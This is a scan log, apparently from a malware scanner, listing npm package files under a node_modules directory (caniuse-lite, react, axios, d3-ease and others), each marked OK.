+/scan/node_modules/caniuse-lite/data/features/async-functions.js: OK
+/scan/node_modules/caniuse-lite/data/features/wake-lock.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-rebeccapurple.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-mediaqueries.js: OK
+/scan/node_modules/caniuse-lite/data/features/fontface.js: OK
+/scan/node_modules/caniuse-lite/data/features/declarative-shadow-dom.js: OK
+/scan/node_modules/caniuse-lite/data/features/canvas-blending.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-anchor-positioning.js: OK
+/scan/node_modules/caniuse-lite/data/features/wordwrap.js: OK
+/scan/node_modules/caniuse-lite/data/features/stricttransportsecurity.js: OK
+/scan/node_modules/caniuse-lite/data/features/keyboardevent-charcode.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-container-queries.js: OK
+/scan/node_modules/caniuse-lite/data/features/keyboardevent-key.js: OK
+/scan/node_modules/caniuse-lite/data/features/jpegxr.js: OK
+/scan/node_modules/caniuse-lite/data/features/rem.js: OK
+/scan/node_modules/caniuse-lite/data/features/form-validation.js: OK
+/scan/node_modules/caniuse-lite/data/features/script-defer.js: OK
+/scan/node_modules/caniuse-lite/data/features/tls1-1.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-mixblendmode.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-bigint.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-text-indent.js: OK
+/scan/node_modules/caniuse-lite/data/features/element-closest.js: OK
+/scan/node_modules/caniuse-lite/data/features/zstd.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-selection.js: OK
+/scan/node_modules/caniuse-lite/data/features/ttf.js: OK
+/scan/node_modules/caniuse-lite/data/features/ol-reversed.js: OK
+/scan/node_modules/caniuse-lite/data/features/user-select-none.js: OK
+/scan/node_modules/caniuse-lite/data/features/dragndrop.js: OK
+/scan/node_modules/caniuse-lite/data/features/customizable-select.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-overflow-anchor.js: OK
+/scan/node_modules/caniuse-lite/data/features/xhtmlsmil.js: OK
+/scan/node_modules/caniuse-lite/data/features/getrandomvalues.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-all.js: OK
+/scan/node_modules/caniuse-lite/data/features/contentsecuritypolicy.js: OK
+/scan/node_modules/caniuse-lite/data/features/jpeg2000.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-rrggbbaa.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-placeholder.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-file-directory.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-containment.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-nontrapping-fptoint.js: OK
+/scan/node_modules/caniuse-lite/data/features/clipboard.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-animation.js: OK
+/scan/node_modules/caniuse-lite/data/features/beacon.js: OK
+/scan/node_modules/caniuse-lite/data/features/run-in.js: OK
+/scan/node_modules/caniuse-lite/data/features/array-includes.js: OK
+/scan/node_modules/caniuse-lite/data/features/indexeddb.js: OK
+/scan/node_modules/caniuse-lite/data/features/textencoder.js: OK
+/scan/node_modules/caniuse-lite/data/features/woff2.js: OK
+/scan/node_modules/caniuse-lite/data/features/portals.js: OK
+/scan/node_modules/caniuse-lite/data/features/atob-btoa.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-lch-lab.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-scroll-behavior.js: OK
+/scan/node_modules/caniuse-lite/data/features/es6-module.js: OK
+/scan/node_modules/caniuse-lite/data/features/html-media-capture.js: OK
+/scan/node_modules/caniuse-lite/data/features/canvas-text.js: OK
+/scan/node_modules/caniuse-lite/data/features/flexbox.js: OK
+/scan/node_modules/caniuse-lite/data/features/flexbox-gap.js: OK
+/scan/node_modules/caniuse-lite/data/features/gamepad.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-fixed.js: OK
+/scan/node_modules/caniuse-lite/data/features/progress.js: OK
+/scan/node_modules/caniuse-lite/data/features/currentcolor.js: OK
+/scan/node_modules/caniuse-lite/data/features/blobbuilder.js: OK
+/scan/node_modules/caniuse-lite/data/features/form-attribute.js: OK
+/scan/node_modules/caniuse-lite/data/features/keyboardevent-which.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-feature.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-signext.js: OK
+/scan/node_modules/caniuse-lite/data/features/u2f.js: OK
+/scan/node_modules/caniuse-lite/data/features/webnfc.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-extended-const.js: OK
+/scan/node_modules/caniuse-lite/data/features/pagevisibility.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-touch-action.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-minlength.js: OK
+/scan/node_modules/caniuse-lite/data/features/webvr.js: OK
+/scan/node_modules/caniuse-lite/data/features/contenteditable.js: OK
+/scan/node_modules/caniuse-lite/data/features/audio.js: OK
+/scan/node_modules/caniuse-lite/data/features/indeterminate-checkbox.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-variant-numeric.js: OK
+/scan/node_modules/caniuse-lite/data/features/pointer.js: OK
+/scan/node_modules/caniuse-lite/data/features/extended-system-fonts.js: OK
+/scan/node_modules/caniuse-lite/data/features/publickeypinning.js: OK
+/scan/node_modules/caniuse-lite/data/features/colr.js: OK
+/scan/node_modules/caniuse-lite/data/features/av1.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-rel-prerender.js: OK
+/scan/node_modules/caniuse-lite/data/features/intersectionobserver.js: OK
+/scan/node_modules/caniuse-lite/data/features/filereader.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-descendant-gtgt.js: OK
+/scan/node_modules/caniuse-lite/data/features/png-alpha.js: OK
+/scan/node_modules/caniuse-lite/data/features/array-find-index.js: OK
+/scan/node_modules/caniuse-lite/data/features/background-clip-text.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-width-stretch.js: OK
+/scan/node_modules/caniuse-lite/data/features/shadowdomv1.js: OK
+/scan/node_modules/caniuse-lite/data/features/customevent.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-range.js: OK
+/scan/node_modules/caniuse-lite/data/features/datauri.js: OK
+/scan/node_modules/caniuse-lite/data/features/urlsearchparams.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-featurequeries.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-default-pseudo.js: OK
+/scan/node_modules/caniuse-lite/data/features/style-scoped.js: OK
+/scan/node_modules/caniuse-lite/data/features/decorators.js: OK
+/scan/node_modules/caniuse-lite/data/features/feature-policy.js: OK
+/scan/node_modules/caniuse-lite/data/features/rel-noopener.js: OK
+/scan/node_modules/caniuse-lite/data/features/loading-lazy-media.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-grid-lanes.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-deviceadaptation.js: OK
+/scan/node_modules/caniuse-lite/data/features/history.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-clip-path.js: OK
+/scan/node_modules/caniuse-lite/data/features/x-doc-messaging.js: OK
+/scan/node_modules/caniuse-lite/data/features/pointerlock.js: OK
+/scan/node_modules/caniuse-lite/data/features/vector-effect.js: OK
+/scan/node_modules/caniuse-lite/data/features/const.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-if.js: OK
+/scan/node_modules/caniuse-lite/data/features/canvas.js: OK
+/scan/node_modules/caniuse-lite/data/features/console-basic.js: OK
+/scan/node_modules/caniuse-lite/data/features/ping.js: OK
+/scan/node_modules/caniuse-lite/data/features/async-clipboard.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-filters.js: OK
+/scan/node_modules/caniuse-lite/data/features/eot.js: OK
+/scan/node_modules/caniuse-lite/data/features/document-execcommand.js: OK
+/scan/node_modules/caniuse-lite/data/features/mpeg4.js: OK
+/scan/node_modules/caniuse-lite/data/features/text-decoration.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-css-unicode-bidi-isolate.js: OK
+/scan/node_modules/caniuse-lite/data/features/rest-parameters.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-smooth.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-boxshadow.js: OK
+/scan/node_modules/caniuse-lite/data/features/pointer-events.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-motion-paths.js: OK
+/scan/node_modules/caniuse-lite/data/features/ch-unit.js: OK
+/scan/node_modules/caniuse-lite/data/features/createimagebitmap.js: OK
+/scan/node_modules/caniuse-lite/data/features/autofocus.js: OK
+/scan/node_modules/caniuse-lite/data/features/web-serial.js: OK
+/scan/node_modules/caniuse-lite/data/features/iframe-srcdoc.js: OK
+/scan/node_modules/caniuse-lite/data/features/aac.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-canvas.js: OK
+/scan/node_modules/caniuse-lite/data/features/native-filesystem-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/mutation-events.js: OK
+/scan/node_modules/caniuse-lite/data/features/netinfo.js: OK
+/scan/node_modules/caniuse-lite/data/features/high-resolution-time.js: OK
+/scan/node_modules/caniuse-lite/data/features/queryselector.js: OK
+/scan/node_modules/caniuse-lite/data/features/speech-synthesis.js: OK
+/scan/node_modules/caniuse-lite/data/features/innertext.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg-html5.js: OK
+/scan/node_modules/caniuse-lite/data/features/proximity.js: OK
+/scan/node_modules/caniuse-lite/data/features/videotracks.js: OK
+/scan/node_modules/caniuse-lite/data/features/deviceorientation.js: OK
+/scan/node_modules/caniuse-lite/data/features/beforeafterprint.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-relaxed-simd.js: OK
+/scan/node_modules/caniuse-lite/data/features/registerprotocolhandler.js: OK
+/scan/node_modules/caniuse-lite/data/features/wai-aria.js: OK
+/scan/node_modules/caniuse-lite/data/features/channel-messaging.js: OK
+/scan/node_modules/caniuse-lite/data/features/server-timing.js: OK
+/scan/node_modules/caniuse-lite/data/features/dnssec.js: OK
+/scan/node_modules/caniuse-lite/data/features/json.js: OK
+/scan/node_modules/caniuse-lite/data/features/video.js: OK
+/scan/node_modules/caniuse-lite/data/features/rel-noreferrer.js: OK
+/scan/node_modules/caniuse-lite/data/features/chacha20-poly1305.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-initial-value.js: OK
+/scan/node_modules/caniuse-lite/data/features/es6.js: OK
+/scan/node_modules/caniuse-lite/data/features/selection-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/css3-attr.js: OK
+/scan/node_modules/caniuse-lite/data/features/background-attachment.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-rel-preload.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-namespaces.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-icon-png.js: OK
+/scan/node_modules/caniuse-lite/data/features/element-from-point.js: OK
+/scan/node_modules/caniuse-lite/data/features/mediarecorder.js: OK
+/scan/node_modules/caniuse-lite/data/features/prefers-color-scheme.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-text-decoration-shorthand.js: OK
+/scan/node_modules/caniuse-lite/data/features/pdf-viewer.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm.js: OK
+/scan/node_modules/caniuse-lite/data/features/svg.js: OK
+/scan/node_modules/caniuse-lite/data/features/passive-event-listener.js: OK
+/scan/node_modules/caniuse-lite/data/features/prefers-reduced-motion.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-appearance.js: OK
+/scan/node_modules/caniuse-lite/data/features/details.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-selection.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-search.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-indeterminate-pseudo.js: OK
+/scan/node_modules/caniuse-lite/data/features/hardwareconcurrency.js: OK
+/scan/node_modules/caniuse-lite/data/features/resource-timing.js: OK
+/scan/node_modules/caniuse-lite/data/features/text-size-adjust.js: OK
+/scan/node_modules/caniuse-lite/data/features/rellist.js: OK
+/scan/node_modules/caniuse-lite/data/features/let.js: OK
+/scan/node_modules/caniuse-lite/data/features/outline.js: OK
+/scan/node_modules/caniuse-lite/data/features/cross-document-view-transitions.js: OK
+/scan/node_modules/caniuse-lite/data/features/web-bluetooth.js: OK
+/scan/node_modules/caniuse-lite/data/features/online-status.js: OK
+/scan/node_modules/caniuse-lite/data/features/datalist.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-kerning.js: OK
+/scan/node_modules/caniuse-lite/data/features/intersectionobserver-v2.js: OK
+/scan/node_modules/caniuse-lite/data/features/serviceworkers.js: OK
+/scan/node_modules/caniuse-lite/data/features/classlist.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-autocomplete-onoff.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-unset-value.js: OK
+/scan/node_modules/caniuse-lite/data/features/menu.js: OK
+/scan/node_modules/caniuse-lite/data/features/dommatrix.js: OK
+/scan/node_modules/caniuse-lite/data/features/forms.js: OK
+/scan/node_modules/caniuse-lite/data/features/keyboardevent-location.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-pattern.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-media-resolution.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-color.js: OK
+/scan/node_modules/caniuse-lite/data/features/referrer-policy.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-icon-svg.js: OK
+/scan/node_modules/caniuse-lite/data/features/ambient-light.js: OK
+/scan/node_modules/caniuse-lite/data/features/localecompare.js: OK
+/scan/node_modules/caniuse-lite/data/features/insertadjacenthtml.js: OK
+/scan/node_modules/caniuse-lite/data/features/getcomputedstyle.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-size-adjust.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-resize.js: OK
+/scan/node_modules/caniuse-lite/data/features/webhid.js: OK
+/scan/node_modules/caniuse-lite/data/features/use-strict.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-variant-alternates.js: OK
+/scan/node_modules/caniuse-lite/data/features/url.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-css-backdrop-pseudo-element.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-backdrop-filter.js: OK
+/scan/node_modules/caniuse-lite/data/features/dataset.js: OK
+/scan/node_modules/caniuse-lite/data/features/webauthn.js: OK
+/scan/node_modules/caniuse-lite/data/features/background-position-x-y.js: OK
+/scan/node_modules/caniuse-lite/data/features/text-overflow.js: OK
+/scan/node_modules/caniuse-lite/data/features/link-rel-preconnect.js: OK
+/scan/node_modules/caniuse-lite/data/features/pad-start-end.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-file-accept.js: OK
+/scan/node_modules/caniuse-lite/data/features/webvtt.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-cascade-layers.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-simd.js: OK
+/scan/node_modules/caniuse-lite/data/features/alternate-stylesheet.js: OK
+/scan/node_modules/caniuse-lite/data/features/accelerometer.js: OK
+/scan/node_modules/caniuse-lite/data/features/spdy.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-boxdecorationbreak.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-at-counter-style.js: OK
+/scan/node_modules/caniuse-lite/data/features/script-async.js: OK
+/scan/node_modules/caniuse-lite/data/features/array-flat.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-display-contents.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-datetime.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-first-letter.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-first-line.js: OK
+/scan/node_modules/caniuse-lite/data/features/notifications.js: OK
+/scan/node_modules/caniuse-lite/data/features/border-radius.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-letter-spacing.js: OK
+/scan/node_modules/caniuse-lite/data/features/brotli.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-tail-calls.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-email-tel-url.js: OK
+/scan/node_modules/caniuse-lite/data/features/maxlength.js: OK
+/scan/node_modules/caniuse-lite/data/features/intrinsic-width.js: OK
+/scan/node_modules/caniuse-lite/data/features/heif.js: OK
+/scan/node_modules/caniuse-lite/data/features/mdn-css-unicode-bidi-plaintext.js: OK
+/scan/node_modules/caniuse-lite/data/features/intl-pluralrules.js: OK
+/scan/node_modules/caniuse-lite/data/features/dispatchevent.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-line-clamp.js: OK
+/scan/node_modules/caniuse-lite/data/features/screen-orientation.js: OK
+/scan/node_modules/caniuse-lite/data/features/picture-in-picture.js: OK
+/scan/node_modules/caniuse-lite/data/features/calc.js: OK
+/scan/node_modules/caniuse-lite/data/features/client-hints-dpr-width-viewport.js: OK
+/scan/node_modules/caniuse-lite/data/features/input-event.js: OK
+/scan/node_modules/caniuse-lite/data/features/offline-apps.js: OK
+/scan/node_modules/caniuse-lite/data/features/template.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-not-sel-list.js: OK
+/scan/node_modules/caniuse-lite/data/features/custom-elementsv1.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-nth-child-of.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-multi-value.js: OK
+/scan/node_modules/caniuse-lite/data/features/touch.js: OK
+/scan/node_modules/caniuse-lite/data/features/cryptography.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-color-function.js: OK
+/scan/node_modules/caniuse-lite/data/features/wav.js: OK
+/scan/node_modules/caniuse-lite/data/features/media-fragments.js: OK
+/scan/node_modules/caniuse-lite/data/features/scrollintoview.js: OK
+/scan/node_modules/caniuse-lite/data/features/arrow-functions.js: OK
+/scan/node_modules/caniuse-lite/data/features/fullscreen.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-unicode-bidi.js: OK
+/scan/node_modules/caniuse-lite/data/features/ogv.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-placeholder-shown.js: OK
+/scan/node_modules/caniuse-lite/data/features/transforms3d.js: OK
+/scan/node_modules/caniuse-lite/data/features/opus.js: OK
+/scan/node_modules/caniuse-lite/data/features/subresource-bundling.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-opacity.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-scrollbar.js: OK
+/scan/node_modules/caniuse-lite/data/features/import-maps.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-mutable-globals.js: OK
+/scan/node_modules/caniuse-lite/data/features/wasm-bulk-memory.js: OK
+/scan/node_modules/caniuse-lite/data/features/web-animation.js: OK
+/scan/node_modules/caniuse-lite/data/features/speech-recognition.js: OK
+/scan/node_modules/caniuse-lite/data/features/webkit-user-drag.js: OK
+/scan/node_modules/caniuse-lite/data/features/offscreencanvas.js: OK
+/scan/node_modules/caniuse-lite/data/features/document-scrollingelement.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-transitions.js: OK
+/scan/node_modules/caniuse-lite/data/features/unhandledrejection.js: OK
+/scan/node_modules/caniuse-lite/data/features/magnetometer.js: OK
+/scan/node_modules/caniuse-lite/data/features/transforms2d.js: OK
+/scan/node_modules/caniuse-lite/data/features/border-image.js: OK
+/scan/node_modules/caniuse-lite/data/features/css-supports-api.js: OK
+/scan/node_modules/caniuse-lite/data/features/font-loading.js: OK
+/scan/node_modules/caniuse-lite/data/browserVersions.js: OK
+/scan/node_modules/caniuse-lite/data/browsers.js: OK
+/scan/node_modules/read-cache/LICENSE: OK
+/scan/node_modules/read-cache/index.js: OK
+/scan/node_modules/read-cache/README.md: OK
+/scan/node_modules/read-cache/package.json: OK
+/scan/node_modules/merge2/LICENSE: OK
+/scan/node_modules/merge2/index.js: OK
+/scan/node_modules/merge2/README.md: OK
+/scan/node_modules/merge2/package.json: OK
+/scan/node_modules/lodash.defaults/LICENSE: OK
+/scan/node_modules/lodash.defaults/index.js: OK
+/scan/node_modules/lodash.defaults/README.md: OK
+/scan/node_modules/lodash.defaults/package.json: OK
+/scan/node_modules/domutils/LICENSE: OK
+/scan/node_modules/domutils/readme.md: OK
+/scan/node_modules/domutils/package.json: OK
+/scan/node_modules/domutils/lib/feeds.js: OK
+/scan/node_modules/domutils/lib/stringify.js: OK
+/scan/node_modules/domutils/lib/traversal.js: OK
+/scan/node_modules/domutils/lib/querying.js.map: OK
+/scan/node_modules/domutils/lib/feeds.js.map: OK
+/scan/node_modules/domutils/lib/esm/feeds.js: OK
+/scan/node_modules/domutils/lib/esm/stringify.js: OK
+/scan/node_modules/domutils/lib/esm/traversal.js: OK
+/scan/node_modules/domutils/lib/esm/querying.js.map: OK
+/scan/node_modules/domutils/lib/esm/feeds.js.map: OK
+/scan/node_modules/domutils/lib/esm/feeds.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/querying.d.ts: OK
+/scan/node_modules/domutils/lib/esm/stringify.js.map: OK
+/scan/node_modules/domutils/lib/esm/manipulation.js: OK
+/scan/node_modules/domutils/lib/esm/index.js: OK
+/scan/node_modules/domutils/lib/esm/manipulation.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/stringify.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/legacy.js: OK
+/scan/node_modules/domutils/lib/esm/manipulation.d.ts: OK
+/scan/node_modules/domutils/lib/esm/legacy.js.map: OK
+/scan/node_modules/domutils/lib/esm/stringify.d.ts: OK
+/scan/node_modules/domutils/lib/esm/legacy.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/package.json: OK
+/scan/node_modules/domutils/lib/esm/helpers.js.map: OK
+/scan/node_modules/domutils/lib/esm/querying.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/querying.js: OK
+/scan/node_modules/domutils/lib/esm/helpers.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/traversal.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/helpers.js: OK
+/scan/node_modules/domutils/lib/esm/index.js.map: OK
+/scan/node_modules/domutils/lib/esm/legacy.d.ts: OK
+/scan/node_modules/domutils/lib/esm/manipulation.js.map: OK
+/scan/node_modules/domutils/lib/esm/helpers.d.ts: OK
+/scan/node_modules/domutils/lib/esm/index.d.ts: OK
+/scan/node_modules/domutils/lib/esm/feeds.d.ts: OK
+/scan/node_modules/domutils/lib/esm/traversal.js.map: OK
+/scan/node_modules/domutils/lib/esm/index.d.ts.map: OK
+/scan/node_modules/domutils/lib/esm/traversal.d.ts: OK
+/scan/node_modules/domutils/lib/feeds.d.ts.map: OK
+/scan/node_modules/domutils/lib/querying.d.ts: OK
+/scan/node_modules/domutils/lib/stringify.js.map: OK
+/scan/node_modules/domutils/lib/manipulation.js: OK
+/scan/node_modules/domutils/lib/index.js: OK
+/scan/node_modules/domutils/lib/manipulation.d.ts.map: OK
+/scan/node_modules/domutils/lib/stringify.d.ts.map: OK
+/scan/node_modules/domutils/lib/legacy.js: OK
+/scan/node_modules/domutils/lib/manipulation.d.ts: OK
+/scan/node_modules/domutils/lib/legacy.js.map: OK
+/scan/node_modules/domutils/lib/stringify.d.ts: OK
+/scan/node_modules/domutils/lib/legacy.d.ts.map: OK
+/scan/node_modules/domutils/lib/helpers.js.map: OK
+/scan/node_modules/domutils/lib/querying.d.ts.map: OK
+/scan/node_modules/domutils/lib/querying.js: OK
+/scan/node_modules/domutils/lib/helpers.d.ts.map: OK
+/scan/node_modules/domutils/lib/traversal.d.ts.map: OK
+/scan/node_modules/domutils/lib/helpers.js: OK
+/scan/node_modules/domutils/lib/index.js.map: OK
+/scan/node_modules/domutils/lib/legacy.d.ts: OK
+/scan/node_modules/domutils/lib/manipulation.js.map: OK
+/scan/node_modules/domutils/lib/helpers.d.ts: OK
+/scan/node_modules/domutils/lib/index.d.ts: OK
+/scan/node_modules/domutils/lib/feeds.d.ts: OK
+/scan/node_modules/domutils/lib/traversal.js.map: OK
+/scan/node_modules/domutils/lib/index.d.ts.map: OK
+/scan/node_modules/domutils/lib/traversal.d.ts: OK
+/scan/node_modules/deep-is/LICENSE: OK
+/scan/node_modules/deep-is/test/neg-vs-pos-0.js: OK
+/scan/node_modules/deep-is/test/NaN.js: OK
+/scan/node_modules/deep-is/test/cmp.js: OK
+/scan/node_modules/deep-is/example/cmp.js: OK
+/scan/node_modules/deep-is/index.js: OK
+/scan/node_modules/deep-is/README.markdown: OK
+/scan/node_modules/deep-is/package.json: OK
+/scan/node_modules/deep-is/.travis.yml: OK
+/scan/node_modules/es-set-tostringtag/LICENSE: OK
+/scan/node_modules/es-set-tostringtag/test/index.js: OK
+/scan/node_modules/es-set-tostringtag/CHANGELOG.md: OK
+/scan/node_modules/es-set-tostringtag/.eslintrc: OK
+/scan/node_modules/es-set-tostringtag/index.js: OK
+/scan/node_modules/es-set-tostringtag/README.md: OK
+/scan/node_modules/es-set-tostringtag/package.json: OK
+/scan/node_modules/es-set-tostringtag/tsconfig.json: OK
+/scan/node_modules/es-set-tostringtag/.nycrc: OK
+/scan/node_modules/es-set-tostringtag/index.d.ts: OK
+/scan/node_modules/cluster-key-slot/LICENSE: OK
+/scan/node_modules/cluster-key-slot/.eslintrc: OK
+/scan/node_modules/cluster-key-slot/README.md: OK
+/scan/node_modules/cluster-key-slot/package.json: OK
+/scan/node_modules/cluster-key-slot/lib/index.js: OK
+/scan/node_modules/cluster-key-slot/index.d.ts: OK
+/scan/node_modules/react/LICENSE: OK
+/scan/node_modules/react/umd/react.production.min.js: OK
+/scan/node_modules/react/umd/react.development.js: OK
+/scan/node_modules/react/umd/react.profiling.min.js: OK
+/scan/node_modules/react/jsx-runtime.js: OK
+/scan/node_modules/react/index.js: OK
+/scan/node_modules/react/README.md: OK
+/scan/node_modules/react/react.shared-subset.js: OK
+/scan/node_modules/react/package.json: OK
+/scan/node_modules/react/jsx-dev-runtime.js: OK
+/scan/node_modules/react/cjs/react-jsx-dev-runtime.production.min.js: OK
+/scan/node_modules/react/cjs/react.production.min.js: OK
+/scan/node_modules/react/cjs/react-jsx-dev-runtime.profiling.min.js: OK
+/scan/node_modules/react/cjs/react.shared-subset.production.min.js: OK
+/scan/node_modules/react/cjs/react.development.js: OK
+/scan/node_modules/react/cjs/react-jsx-runtime.profiling.min.js: OK
+/scan/node_modules/react/cjs/react.shared-subset.development.js: OK
+/scan/node_modules/react/cjs/react-jsx-runtime.development.js: OK
+/scan/node_modules/react/cjs/react-jsx-runtime.production.min.js: OK
+/scan/node_modules/react/cjs/react-jsx-dev-runtime.development.js: OK
+/scan/node_modules/d3-ease/LICENSE: OK
+/scan/node_modules/d3-ease/dist/d3-ease.min.js: OK
+/scan/node_modules/d3-ease/dist/d3-ease.js: OK
+/scan/node_modules/d3-ease/README.md: OK
+/scan/node_modules/d3-ease/package.json: OK
+/scan/node_modules/d3-ease/src/linear.js: OK
+/scan/node_modules/d3-ease/src/circle.js: OK
+/scan/node_modules/d3-ease/src/poly.js: OK
+/scan/node_modules/d3-ease/src/quad.js: OK
+/scan/node_modules/d3-ease/src/index.js: OK
+/scan/node_modules/d3-ease/src/cubic.js: OK
+/scan/node_modules/d3-ease/src/math.js: OK
+/scan/node_modules/d3-ease/src/sin.js: OK
+/scan/node_modules/d3-ease/src/exp.js: OK
+/scan/node_modules/d3-ease/src/back.js: OK
+/scan/node_modules/d3-ease/src/bounce.js: OK
+/scan/node_modules/d3-ease/src/elastic.js: OK
+/scan/node_modules/functional-red-black-tree/.npmignore: OK
+/scan/node_modules/functional-red-black-tree/bench/test.js: OK
+/scan/node_modules/functional-red-black-tree/LICENSE: OK
+/scan/node_modules/functional-red-black-tree/test/test.js: OK
+/scan/node_modules/functional-red-black-tree/rbtree.js: OK
+/scan/node_modules/functional-red-black-tree/README.md: OK
+/scan/node_modules/functional-red-black-tree/package.json: OK
+/scan/node_modules/axios/LICENSE: OK
+/scan/node_modules/axios/CHANGELOG.md: OK
+/scan/node_modules/axios/dist/axios.js: OK
+/scan/node_modules/axios/dist/esm/axios.js: OK
+/scan/node_modules/axios/dist/esm/axios.min.js.map: OK
+/scan/node_modules/axios/dist/esm/axios.js.map: OK
+/scan/node_modules/axios/dist/esm/axios.min.js: OK
+/scan/node_modules/axios/dist/browser/axios.cjs.map: OK
+/scan/node_modules/axios/dist/browser/axios.cjs: OK
+/scan/node_modules/axios/dist/axios.min.js.map: OK
+/scan/node_modules/axios/dist/axios.js.map: OK
+/scan/node_modules/axios/dist/node/axios.cjs.map: OK
+/scan/node_modules/axios/dist/node/axios.cjs: OK
+/scan/node_modules/axios/dist/axios.min.js: OK
+/scan/node_modules/axios/index.d.cts: OK
+/scan/node_modules/axios/node_modules/form-data/License: OK
+/scan/node_modules/axios/node_modules/form-data/CHANGELOG.md: OK
+/scan/node_modules/axios/node_modules/form-data/README.md: OK
+/scan/node_modules/axios/node_modules/form-data/package.json: OK
+/scan/node_modules/axios/node_modules/form-data/lib/populate.js: OK
+/scan/node_modules/axios/node_modules/form-data/lib/form_data.js: OK
+/scan/node_modules/axios/node_modules/form-data/lib/browser.js: OK
+/scan/node_modules/axios/node_modules/form-data/index.d.ts: OK
+/scan/node_modules/axios/index.js: OK
+/scan/node_modules/axios/README.md: OK
+/scan/node_modules/axios/package.json: OK
+/scan/node_modules/axios/MIGRATION_GUIDE.md: OK
+/scan/node_modules/axios/lib/cancel/CancelToken.js: OK
+/scan/node_modules/axios/lib/cancel/isCancel.js: OK
+/scan/node_modules/axios/lib/cancel/CanceledError.js: OK
+/scan/node_modules/axios/lib/axios.js: OK
+/scan/node_modules/axios/lib/core/settle.js: OK
+/scan/node_modules/axios/lib/core/AxiosError.js: OK
+/scan/node_modules/axios/lib/core/Axios.js: OK
+/scan/node_modules/axios/lib/core/InterceptorManager.js: OK
